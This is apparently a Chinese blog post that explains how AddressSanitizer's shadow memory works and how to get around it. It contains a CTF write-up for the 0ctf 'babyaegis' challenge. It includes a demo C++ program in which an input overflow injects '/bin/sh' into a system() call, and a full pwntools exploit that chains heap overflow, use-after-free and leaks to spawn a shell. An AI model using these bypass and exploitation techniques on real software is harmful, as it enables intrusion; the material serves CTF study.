ASan and ASan in CTF(0ctf babyaegis)

About AddressSanitizer(ASan)

AddressSanitizer 后文均简称为ASan 是 Google 开源的一个用于进行内存检测的工具,包括但可能不限于 Heap buffer overflow, Stack buffer overflow, Global buffer overflow 等等。

在 wiki 中就举了了四个例子,分别是

  1. Heap-use-after-free
  2. Heap-buffer-overflow
  3. Stack-buffer-overflow
  4. Global-buffer-overflow

除了学术上的建树,这个工具也曾发现了不少漏洞,如在知名的 j00r 的blog 中提到的

关于 ASan 的核心实现在 wiki 也提到了,在我读了一些 paper 以及在 0ctf babyaegis 这个题目的调试也大概总结了一下:

ASan 算法实现

ASan 由两个主要部分构成,插桩和动态运行库( Run-time library ),插桩主要是针对在llvm编译器级别对访问内存的操作(store,load,alloca等),将它们进行处理。动态运行库主要提供一些运行时的复杂的功能(比如poison/unpoison shadow memory)以及将malloc,free等系统调用函数hook住。其实该算法的思路很简单,如果想防住Buffer Overflow漏洞,只需要在每块内存区域右端(或两端,能防overflow和underflow)加一块区域(RedZone),使RedZone的区域的影子内存(Shadow Memory)设置为不可写即可。

+——————-+
| redzone |
+——————-+
| men |
+——————-+
| redzone |
+——————-+
| men |
+——————-+
| redzone |
+——————-+

内存映射

AddressSanitizer保护的主要原理是对程序中的虚拟内存提供粗粒度的影子内存(没8个字节的内存对应一个字节的影子内存),为了减少overhead,就采用了直接内存映射策略,所采用的具体策略如下:Shadow=(Mem >> 3) + offset。每8个字节的内存对应一个字节的影子内存,影子内存中每个字节存取一个数字k,如果k=0,则表示该影子内存对应的8个字节的内存都能访问。
如果k在0到7之间,表示前k个字节可以访问,如果k为负数,不同的数字表示不同的错误(e.g. Stack buffer overflow, Heap buffer overflow)。具体的映射策略如下图所示。

64位

1
Shadow = (Mem >> 3) + 0x7fff8000;
[0x10007fff8000, 0x7fffffffffff] HighMem
[0x02008fff7000, 0x10007fff7fff] HighShadow
[0x00008fff7000, 0x02008fff6fff] ShadowGap
[0x00007fff8000, 0x00008fff6fff] LowShadow
[0x000000000000, 0x00007fff7fff] LowMem

32位

1
Shadow = (Mem >> 3) + 0x20000000;
[0x40000000, 0xffffffff] HighMem
[0x28000000, 0x3fffffff] HighShadow
[0x24000000, 0x27ffffff] ShadowGap
[0x20000000, 0x23ffffff] LowShadow
[0x00000000, 0x1fffffff] LowMem

Bypassing AddressSanitizer

显而易见的是,ASan 的检查很大一部分是基于影子内存中,此时影子内存的flag值。假设如果全段影子内存的 flag 全为0,我们就可以完全无视掉ASan,而0ctf 的 babyaegis,正是给了一个写0的机会,给了我们一次对一个指针再次读写的机会。

此外还有几种方法,比如

Adjacent Buffers in the Same Struct/Class

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ cat test1.c
#include <stdio.h>
#include <stdlib.h>
class Test{
public:
Test(){
command[0] = 'l';
command[1] = 's';
command[2] = '\0';
}
void a(){
scanf("%s", buffer);
system(command);
}
private:
char buffer[10];
char command[10];
};
int main(){
Test aTest = Test();
aTest.a();
}
1
2
3
4
5
6
7
8
9
10
# swing @ localhost in /tmp [1:42:48]
$ g++ -O -g -fsanitize=address test1.c
clang: warning: treating 'c' input as 'c++' when in C++ mode, this behavior is deprecated [-Wdeprecated]

# swing @ localhost in /tmp [1:43:10]
$ ./a.out
aaaaaaaaaa/bin/sh;
sh-3.2$ id
uid=501(swing) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled)
sh-3.2$

剩下见 PDF:

0ctf babyaegis

题目分析

1
2
3
4
5
6
7
8
9
10
root@linuxkit-025000000001 /pwn# checksec aegis
[*] '/pwn/aegis'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
ASAN: Enabled
UBSAN: Enabled

开了 ASan

影子内存位置: mem >> 3) + 0x7FFF8000LL

漏洞点

在update中:

在delete中

存在uaf

此外,存在一个后门函数为:secret函数

思路

可以先置checker为0使得我们可以进行一个堆溢出改size值为0,接下来在做一次更改,这次可以溢出更多,改size为更大的值。然后rm了这个堆块再malloc出来就可以造成一个uaf的效果。接着利用uaf的指针泄漏各种program base 和libc base什么的东西。然后利用指针去改写bss段上的值导致__sanitizer::Die()函数内部call rax 调用我们想调用的函数。这里本来是想调用onegadget,但是不明确也没深究为什么onegadget没起作用。之后此处改写为gets控制程序流然后构成栈溢出覆盖ret为onegadget接着就getshell了

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
from pwn import *

debug=1
# context.log_level = 'debug'
context.terminal = ['notiterm', '-t', 'iterm','-e']
# context.terminal = ['notiterm', '-t', 'iterm', '-p', '15112', '-e'] # use 50806 port as an example

if debug:
p = process('./aegis')
# p=process('./aegis',env={'LD_PRELOAD':'./libc-2.27.so'})
# gdb.attach(p)
else:
p=remote('111.186.63.209',6666)

def get(x):
return p.recvuntil(x)

def pu(x):
p.send(x)

def pu_enter(x):
p.sendline(x)

def add(sz,content,id):
pu_enter('1')
get('Size')
pu_enter(str(sz))
get('Content')
pu(content)
get('ID')
pu_enter(str(id))
get('Choice: ')

def show(idx):
pu_enter('2')
get('Index')
pu_enter(str(idx))


def update(idx,content,id):
pu_enter('3')
get('Index')
pu_enter(str(idx))
get('Content: ')
pu(content)
get('New ID:')
pu_enter(str(id))
get('Choice:' )

def delete(idx):
pu_enter('4')
get('Index')
pu_enter(str(idx))
get('Choice:')

def secret(addr):
pu_enter('666')
get('Lucky Number: ')
pu_enter(str(addr))
get('Choice:')

add(0x10,'a'*8,0x123456789abcdef)
for i in range(4):
add(0x10,'b'*0x8,123)

#0x602000000000
#0x7fff8000
secret(0xc047fff8008-4)
update(0,'\x02'*0x12,0x123456789)
update(0,'\x02'*0x10+p64(0x02ffffff00000002)[:7],0x01f000ff1002ff)
delete(0)
#raw_input("#")
add(0x10,p64(0x602000000018),0)
#raw_input("#")
show(0)

get('Content: ')
addr = u64(get('\n')[:-1]+'\x00\x00')
print addr
pbase = addr -0x114AB0
get('Choice: ')

update(5,p64(pbase+0x347DF0)[:2],(pbase+0x347DF0)>>8)
show(0)

get('Content: ')
addr = u64(get('\n')[:-1]+'\x00\x00')
base = addr -0xE4FA0
get('Choice: ')

# gdb.attach(p)

update(5,p64(pbase+0x0FB08A0),p64(pbase+0x7AE140))
#update(5,p64(pbase+0xfb08a0+0x28),(pbase+0xfb08a0+0x28)>>8)
raw_input("aa")
pu_enter('3')
get('Index')
pu_enter('0')
get('Content')
#raw_input(hex(pbase+0x7AE140))
pu(p64(base+524464)[:7])
#get('ID')
raw_input("#get"+str(hex(pbase+0x7AE140)))
payload = 'a'*471+p64(base+0x4f322)+'\x00'*0x100
#raw_input(hex(base + 0x4f322))
pu_enter(payload)


#print(hex(lbase))
#print(hex(stack))
p.interactive()

参考链接

github-AddressSanitizer

AddressSanitizer: A Fast Address Sanity Checker

AddressSanitizer算法及源码解析

Bypassing AddressSanitizer